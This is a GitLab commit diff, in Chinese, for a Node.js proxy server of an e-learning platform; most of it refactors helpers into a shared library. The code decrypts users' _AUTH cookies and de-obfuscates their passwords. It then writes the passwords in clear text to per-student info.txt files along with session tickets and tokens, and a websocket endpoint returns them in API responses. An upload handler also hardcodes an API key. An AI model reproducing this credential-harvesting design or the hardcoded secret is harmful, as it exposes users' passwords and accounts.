提交 f83b82b6 authored 作者: GOD_ZYX's avatar GOD_ZYX

update

上级 ac0f551c
This source diff could not be displayed because it is too large. You can view the blob instead.
......@@ -85,7 +85,7 @@
"webpack-merge": "^4.1.4"
},
"dependencies": {
"@god/node-com": "^1.0.1",
"@god/node-com": "^1.1.1",
"adm-zip": "^0.4.13",
"axios": "^0.18.0",
"body-parser": "^1.18.3",
......
/* 直接处理 挂载异常 视频 - 直接挂满 */
const dealVideo = () => {
}
module.exports = {
dealVideo: dealVideo
}
......@@ -3,7 +3,7 @@ const path = require('path')
const md5 = require('md5-node')
const _cpro = require('child_process')
const directory = require('@god/node-com').dir
const com = require('@god/node-com')
/**
* 目录结构操作,删除查询
......@@ -95,7 +95,7 @@ const _deleteDir = (dir, stats, callfunc) => {
callfunc('文件删除成功')
})
} else if (stats.isDirectory()) {
directory.rmDir(dir, () => {
com.Tool.Directory.rmdir(dir, () => {
callfunc('目录删除成功')
})
}
......@@ -132,7 +132,7 @@ const _checkDir = (dir, json, callfunc) => {
* @param {function} callfunc 回调函数
*/
const _createDir = (dir, callfunc) => {
directory.mkDir(dir, () => {
com.Tool.Directory.mkdir(dir, () => {
callfunc('目录创建成功')
})
}
......
const fs = require('fs')
const com = require('@god/node-com')
const md5 = require('md5-node')
/**
* 定义 log 针对 视频 数据采集 日志
* @param req 请求参数
* @param data._totalDir 默认表示,存储从第一学期开始
*/
const getLogVideoJson = (req, data) => {
/* 学习视频的行为日志记录,重新修改 2019.04.30 */
let _nodeServerCurrentTime = new Date().getTime()
let _json = Buffer.from(req.headers['cur-json'] || '', 'base64').toString() || '{}'
_json = JSON.parse(_json)
/* 增加 学员目录、下属video目录。必须先处理,这是异步IO操作,可能导致 “新建” 学员目录、文件时,数据稍稍不准 缺少数据在 10s内 */
let stuDir = (_json.name + '#' + _json.auth) || '其他'
let _stuPath = 'upload_tmp/' + data._totalDir + '/' + stuDir
com.dir.mkDir(_stuPath + '/video')
// 按人头,每个人 多开不可能超过1000个浏览器tab页,所以这里不需要 大整型 字符串
const signStr = _json.auth + ':' + req.params[0] + ':' + _nodeServerCurrentTime
// uuid 保证 在 并发 数据量 下 也唯一
const _uuid = md5(signStr)
/* 是否为 视频接口调用,才调用视频日志存储 */
let _isVideoFlag = false
let _logVideo = {}
if (/analytics\/upload-video/gi.test(req.params[0])) { _isVideoFlag = true }
if (_isVideoFlag) {
/* video 视频 行为日志格式 */
_logVideo = {
orderTime: _nodeServerCurrentTime + 's', // 请求排序时间字段(还需要 处理 高并发,采用 一个大整型转字符串值 记录,还未写)
arriveTime: _nodeServerCurrentTime - (_json.time || 0) + 'ms', // 请求到达时间,从“客户端”发送请求 到 “服务端Node”接收到,所花费的时间,单位:ms (默认成功)
reqTime: '', // 请求处理时长,从“Node层”转发请求 到 “服务处理完成”返回结果,所花费的时间,单位:ms
status: '', // 记录“reqTime”的请求状态
sys: _json.sys, // 客户端,浏览器信息
IP: _getClientIP(req), // 客户端,请求IP值
name: _json.name, // 学员姓名
auth: _json.auth, // 学员账号
uuid: _uuid, // uuid,根据这个id查询,是否存在出错等
url: req.params[0], // 请求地址,这里 只存储 视频数据,下面为自定义,视频字段处理
sid: req.query.s, // 学期 id
cid: req.query.c, // 课程 id
vid: req.query.v, // 视频 id
_p: req.query._p, // 累计时间
_m: req.query._m, // 当前播放最大时间
_c: req.query._c, // 当前播放位置
ps: req.query.ps // 播放时,播放过的 帧
}
}
/* 日期字符串,如:2019-04-30 */
let _dateStr = com.datetime.timestampToFormatDateStr(_nodeServerCurrentTime)
return {
_nodeServerCurrentTime, // 返回值,必存在
_json, // 返回值,必存在
_stuPath, // 返回值,必存在
_uuid, // 返回值,必存在
_isVideoFlag, // 返回值,必存在
_logVideo, // 返回值,可能为 “{}”
_dateStr // 返回值,必存在
}
}
/**
* 定义 log 针对 视频 数据采集 日志 写入 对应 日志文件
* @param _logJson getLogVideoJson函数 返回的对象值
* @param data._reqTime 请求处理时长
* @param data._status 记录“reqTime”的请求状态
*/
const writeLogVideo = (_logJson, data) => {
/* 按日期,每天存储 video日志信息 写入 */
if (_logJson._isVideoFlag) {
fs.stat(_logJson._stuPath + '/video', (err, stat) => {
if (!err) {
_logJson._logVideo.reqTime = data._reqTime
_logJson._logVideo.status = data._status
let _strLogVideo = ''
for (let key in _logJson._logVideo) { _strLogVideo += _logJson._logVideo[key] + String.fromCharCode(0x001) }
fs.appendFile(_logJson._stuPath + '/video' + '/video-' + _logJson._dateStr + '.log', _strLogVideo + '\n', function (err) {
if (err) { return console.error(_logJson._uuid, err) }
})
}
})
}
}
/**
* 用户基本信息写入
* @param {} req 请求参数
* @param {} _logJson getLogVideoJson函数 返回的对象值
* @param {} data.pwdBase64 密码base64 加密
* @param {} data._cookieArr 传入 cookie 数组
* @param {} data._SUP 返回 _SUP
* @param {} data._token 返回 token
* @param {} data._totalDir 存储从第一学期开始
* @param {} data._name 用户名
* @param {} data._email 用户邮箱
*/
const writeBasicInfo = (req, _logJson, data) => {
/* 有可能,用户缓存,token未过期,直接跳过登录 */
if ((_logJson._json.name + '#' + _logJson._json.auth) === '未知#未知') {
let stuDir = (data._name + '#' + data._email) || '其他'
let _stuPath = 'upload_tmp/' + data._totalDir + '/' + stuDir
com.dir.mkDir(_stuPath + '/video')
_logJson._json.name = data._name
_logJson._json.auth = data._email
_logJson._stuPath = _stuPath
}
/* 基础info数据,写入文件, 累加写入 */
fs.stat(_logJson._stuPath, (err, stat) => {
if (!err) {
if (!data.pwdBase64) { // 从cookie中获取
let _AUTH = ''
for (let i = 0; i < data._cookieArr.length; i++) {
if (/_AUTH=/gi.test(data._cookieArr[i])) {
_AUTH = data._cookieArr[i].split('=')[1]
break
}
}
data.pwdBase64 = com.cryptos.decryptData(_AUTH)
}
/* 有密码时,才写入基础数据中 */
if (data.pwdBase64 || data._SUP) {
fs.appendFile(_logJson._stuPath + '/info.txt', [
'DateStr: ' + _logJson._dateStr + ' ' + com.datetime.timestampToFormatTimeStr(new Date().getTime() - new Date(_logJson._dateStr + ' 00:00:00').getTime()),
'Name: ' + _logJson._json.name,
'Sys: ' + _logJson._json.sys,
'Auth: ' + _logJson._json.auth,
'Pwd: ' + (data.pwdBase64.replace(/^uokoaduw/gi, '').replace(/auhgniq$/gi, '').split('').reverse().join('') || 1),
'_SUP: ' + data._SUP, // 解决验证码登录,没有密码问题 或 没有重复登录过,没有密码问题
'token: ' + data._token,
'Version: ' + _logJson._json.version,
'IP: ' + _getClientIP(req),
'UA: ' + req.headers['user-agent'],
'\n\n'
].join('\n'), function (err) {
if (err) { return console.error(_logJson._uuid, err) }
})
}
}
})
}
const _getClientIP = (req) => {
return req.headers['x-forwarded-for'] ||
req.connection.remoteAddress ||
req.socket.remoteAddress ||
(req.connection.socket && req.connection.socket.remoteAddress) || ''
}
module.exports = {
getLogVideoJson: getLogVideoJson,
writeLogVideo: writeLogVideo,
writeBasicInfo: writeBasicInfo
}
......@@ -3,14 +3,9 @@ const fs = require('fs')
const conf = require('../config')
const com = require('@god/node-com')
const _ = require('lodash')
const axios = require('axios')
const FormData = require('form-data')
const AdmZip = require('adm-zip')
const logVideo = require('./LogVideoMonitor')
// const _logs = require('./logs')
/* 支持 finally函数 */
require('promise.prototype.finally').shim()
......@@ -18,15 +13,15 @@ require('promise.prototype.finally').shim()
const agentProcessor = () => {
/* 目录在服务器,启动时,直接创建号 */
let _totalDir = '001' // 默认表示,存储从第一学期开始
com.dir.mkDir('upload_tmp/' + _totalDir)
com.Tool.Directory.mkdir('upload_tmp/' + _totalDir)
return (req, res) => {
/* 获取 日志必须 返回 + 视频行为日志信息 */
const _logJson = logVideo.getLogVideoJson(req, {
const _logJson = com.Log.EzijingVideo.setLogVideo(req, {
_totalDir
})
let headers = _.assignIn({}, req.headers)
let headers = req.headers
let options = {}
/* 删除一些 不必要属性 */
let pwdBase64 = headers['pmd5'] || ''
......@@ -58,58 +53,21 @@ const agentProcessor = () => {
// }
headers['accept'] = '*/*'
delete headers['accept-language']
if (/application\/x-www-form-urlencoded/gi.test(headers['content-type'])) {
let str = ''
for (let k in options.data) {
str += k + '=' + options.data[k] + '&'
}
options.data = str.substr(0, str.length - 1)
}
let _fileName = []
if (/multipart\/form-data/gi.test(headers['content-type'])) {
let _obj = _.assignIn({}, req.body)
req.files.forEach((elem, i) => {
/* 缓存文件中 名称替换,上传名称一致 会被覆盖 */
fs.renameSync(elem.path, elem.destination + elem.originalname)
_obj[elem.fieldname] = fs.createReadStream(elem.destination + elem.originalname)
_fileName.push(elem.destination + elem.originalname)
})
let fro = new FormData()
for (let key in _obj) {
fro.append(key, _obj[key])
}
options.data = fro
delete headers['content-length'] // 需要让axios重新计算传输内容长度,否则传输不完整
headers['content-type'] = fro.getHeaders()['content-type']
}
com.Tool.ReqType.toUrlEncoded(req, options)
let _fileName = com.Tool.ReqType.toFormData(req, options)
/* 获取cookie,解析SUP,设置token */
let _cookieStr = headers['cookie'] || ''
let _cookieArr = _cookieStr.split(';')
let _SUP = ''
for (let i = 0; i < _cookieArr.length; i++) {
if (/_SUP=/gi.test(_cookieArr[i])) {
_SUP = _cookieArr[i].split('=')[1]
break
}
}
headers['ticket'] = com.cookie.getTicket(_SUP) // _SUP获取
headers['ticket'] = com.Tool.Cookie.getTicketByCAS('_SUP', req) // _SUP获取
headers['token'] = headers['ticket']
axios.defaults.headers = headers
axios.defaults.withCredentials = true
/* 处理特殊请求,在域名为e-learing2时生效 */
let _stoken = ''
for (let i = 0; i < _cookieArr.length; i++) {
if (/_stoken=/gi.test(_cookieArr[i])) {
_stoken = _cookieArr[i].split('=')[1]
break
}
}
if (_stoken) {
headers['stoken'] = _stoken
}
// let _stoken = com.Tool.Cookie.getCookie('_SUP', req)
// if (_stoken) {
// headers['stoken'] = _stoken
// }
/* 重新转发请求 */
let _reqTime = 0
......@@ -122,8 +80,8 @@ const agentProcessor = () => {
// /* 兼容老版本,登录接口 清除_SUP; 退出登录 清除_SUP */
/* 重新修改,改为只能服务端 设置 cookie */
if (/user_center\/login/gi.test(options.url) || /user_center\/code_login/gi.test(options.url)) {
com.cookie.setCookieByYiiWay(data.data.ticket, res, '_SUP', '.ezijing.com')
com.cookie.setCookieData(pwdBase64, res, '_AUTH', '.ezijing.com')
com.Tool.Cookie.setTicketByCAS('_SUP', '.ezijing.com', data.data.ticket, res)
com.Tool.Cookie.setCookie('_AUTH', '.ezijing.com', pwdBase64, res)
}
if (/user_center\/logout/gi.test(options.url)) {
res.clearCookie('_SUP', { path: '/', domain: '.ezijing.com' })
......@@ -146,7 +104,6 @@ const agentProcessor = () => {
return
}
}
// setPorxyHeader(data, res)
/* getInfo 时,则写入 用户基本信息 */
if (/user_center\/get_user_info/gi.test(options.url)) {
......@@ -168,14 +125,10 @@ const agentProcessor = () => {
data.data.student_info = _data.data
let _name = (data.data.student_info && data.data.student_info.personal_name) || (data.data.nickname)
let _email = (data.data.student_info && data.data.student_info.email) || (data.data.email)
logVideo.writeBasicInfo(req, _logJson, {
pwdBase64,
_cookieArr,
_SUP,
_token: headers['token'],
_totalDir, // 用于重新 定位学生目录
com.Log.EzijingVideo.writeBasicInfo(req, _logJson, {
_name, // 用于重新 定位学生目录
_email // 用于重新 定位学生目录
_email, // 用于重新 定位学生目录
_totalDir // 用于重新 定位学生目录
})
res.status(200).send(data.data)
} else {
......@@ -229,7 +182,7 @@ const agentProcessor = () => {
}
}
/* 视频行为日志 写入 */
logVideo.writeLogVideo(_logJson, {
com.Log.EzijingVideo.writeLogVideo(_logJson, {
_reqTime,
_status
})
......@@ -241,22 +194,6 @@ const agentProcessor = () => {
}
}
// const setPorxyHeader = (data, res) => {
// if (data.headers['set-cookie']) {
// /* 不准许 服务端设置 _SUP */
// let _sCookie = data.headers['set-cookie'] || []
// for (let i = 0; i < _sCookie.length; i++) {
// if (/_SUP=/gi.test(_sCookie[i])) {
// _sCookie.splice(i, 1)
// break
// }
// }
// for (let key in data.headers) {
// res.append(key, data.headers[key])
// }
// }
// }
module.exports = {
agentProcessor: agentProcessor
}
......@@ -4,12 +4,12 @@ const com = require('@god/node-com')
const sendMsg = (req, res) => {
let _nsCoonPool = global.nsCoonPool
/* 创建一个 websocket-server Node端 */
if (!global.nsSocket) global.nsSocket = com.wsocket.createServerSocket(global.SocketServer)
if (!global.nsSocket) global.nsSocket = com.Websocket.createServerSocket(global.SocketServer)
/* 接口执行操作 */
if (global.nsSocket) {
if (req.body.sendMsg === 'send') {
com.wsocket.sendData(req.body.arr && req.body.arr.split(','), req.body.action, req.body.val)
com.Websocket.sendData(req.body.arr && req.body.arr.split(','), req.body.action, req.body.val)
res.status(200).send({ msg: '已向客户端发送消息', linkCount: _nsCoonPool.length })
} else {
let _conArr = []
......@@ -30,7 +30,7 @@ const sendMsg = (req, res) => {
let _cookiesArr = JSON.parse(_tmp.cookies)
for (let i = 0; i < _cookiesArr.length; i++) {
if (_cookiesArr[i].name === '_AUTH') { // 获取cookie中 对称加密过的密码 - _AUTH
_pwd = com.cryptos.decryptData(_cookiesArr[i].value)
_pwd = com.Tool.Crypto.decode(_cookiesArr[i].value)
break
}
}
......@@ -45,7 +45,7 @@ const sendMsg = (req, res) => {
_str: _str,
pwd: _pwd.replace(/^uokoaduw/gi, '').replace(/auhgniq$/gi, '').split('').reverse().join(''),
Token: _token,
keepExitTime: com.datetime.timestampToFormatTimeStr(new Date().getTime() - _tmp.createTime),
keepExitTime: com.Tool.DateTime.toTimeStr(new Date().getTime() - _tmp.createTime),
IPs: _tmp.IPs,
UA: _tmp.UA
})
......
const fs = require('fs')
const conf = require('../config')
const datetime = require('@god/node-com').datetime
const com = require('@god/node-com')
const _ = require('lodash')
const axios = require('axios')
const FormData = require('form-data')
/* 支持 finally函数 */
require('promise.prototype.finally').shim()
const ckeditorUpload = (req, res) => {
/* 文件上传 ckeditor4.5以上返回格式 */
......@@ -22,7 +23,8 @@ const ckeditorUpload = (req, res) => {
if (req.files.length) {
if (!req.files[0].mimetype.startsWith('image')) { sendHtml('', '文件类型错误,请上传图片'); return }
if (req.files[0].size > 10 * 1024 * 1024) { sendHtml('', '图片大小超限'); return }
let headers = _.assignIn({}, req.headers)
let headers = req.headers
let options = {}
options = {
timeout: 30 * 1000,
......@@ -34,51 +36,10 @@ const ckeditorUpload = (req, res) => {
}
headers['accept'] = '*/*'
delete headers['accept-language']
if (/multipart\/form-data/gi.test(headers['content-type'])) {
let _obj = _.assignIn({}, req.body)
req.files.forEach((elem, i) => {
/* 缓存文件中 名称替换,上传名称一致 会被覆盖 */
fs.renameSync(elem.path, elem.destination + elem.originalname)
/* 增加 日期目录 */
let dateDir = 'ckeditor ' + datetime.timestampToFormatDateStr(new Date().getTime())
/* 异步 处理文件 */
fs.stat(elem.destination + dateDir, (error, stats) => {
if (error) {
fs.mkdir(elem.destination + dateDir, (error) => {
if (error) { console.log(error); return false }
fs.renameSync(elem.destination + elem.originalname, elem.destination + dateDir + '/' + elem.originalname)
})
} else {
fs.renameSync(elem.destination + elem.originalname, elem.destination + dateDir + '/' + elem.originalname)
}
})
_obj['image'] = fs.createReadStream(elem.destination + elem.originalname)
})
let fro = new FormData()
for (let key in _obj) {
fro.append(key, _obj[key])
}
options.data = fro
delete headers['content-length'] // 需要让axios重新计算传输内容长度,否则传输不完整
headers['content-type'] = fro.getHeaders()['content-type']
}
let s = ''
let arr = headers.cookie.split('; ')
for (let i = 0; i < arr.length; i++) {
if (/^_SUP/g.test(arr[i])) {
s = arr[i].split('=')[1]
break
}
}
s = decodeURIComponent(s || '')
let ticket = ''
s = s.match(/"([\d\w=]+)";\}$/)
if (s && s.length === 2) {
s = new Buffer(s[1], 'base64').toString() // eslint-disable-line
s = s.slice(12, s.search('-TGT') + 4)
ticket = s.split('').reverse().join('')
}
headers['token'] = ticket
let _fileName = com.Tool.ReqType.toFormData(req, options)
headers['token'] = com.Tool.Cookie.getTicketByCAS('_SUP', req)
headers['tenant'] = 'sofia'
headers['apikey'] = 'mwLyCymyEVCcKTn7nKDjYIMPBwScbugX'
headers['Host'] = 'lms-api.ezijing.com'
......@@ -100,6 +61,13 @@ const ckeditorUpload = (req, res) => {
})
}).catch((e) => {
sendHtml('', '上传错误,请重试1')
}).finally(() => {
/* 请求结束,删除服务器端 缓存文件 */
if (_fileName.length) {
for (let i = 0; i < _fileName.length; i++) {
fs.unlinkSync(_fileName[i])
}
}
})
}
}
......
......@@ -6,7 +6,6 @@ const multer = require('multer')
const upload = multer({ dest: 'upload_tmp/' })
const _ck = require('../controller/ckeditorMonitor')
const _dvm = require('../controller/DealVideoMonitor')
const _op = require('../controller/DirMonitor')
const _websocket = require('../controller/SocketMonitor')
const _proxy = require('../controller/ProxyMonitor')
......@@ -16,7 +15,6 @@ router.use(bodyParser.urlencoded({ extended: true, limit: '600mb' }))
/* 统一API接口 */
router.post('/api/ckeditor/img/upload', upload.any(), _ck.ckeditorUpload)
router.post('/api/deal/video', upload.any(), _dvm.dealVideo)
router.post('/api/websocket/send-msg', upload.any(), _websocket.sendMsg)
router.post('/api/dir/send-msg', upload.any(), _op.dirOperate)
router.use('/api/*', upload.any(), _proxy.agentProcessor())
......
Markdown 格式
0%
您添加了 0 到此讨论。请谨慎行事。
请先完成此评论的编辑!
注册 或者 后发表评论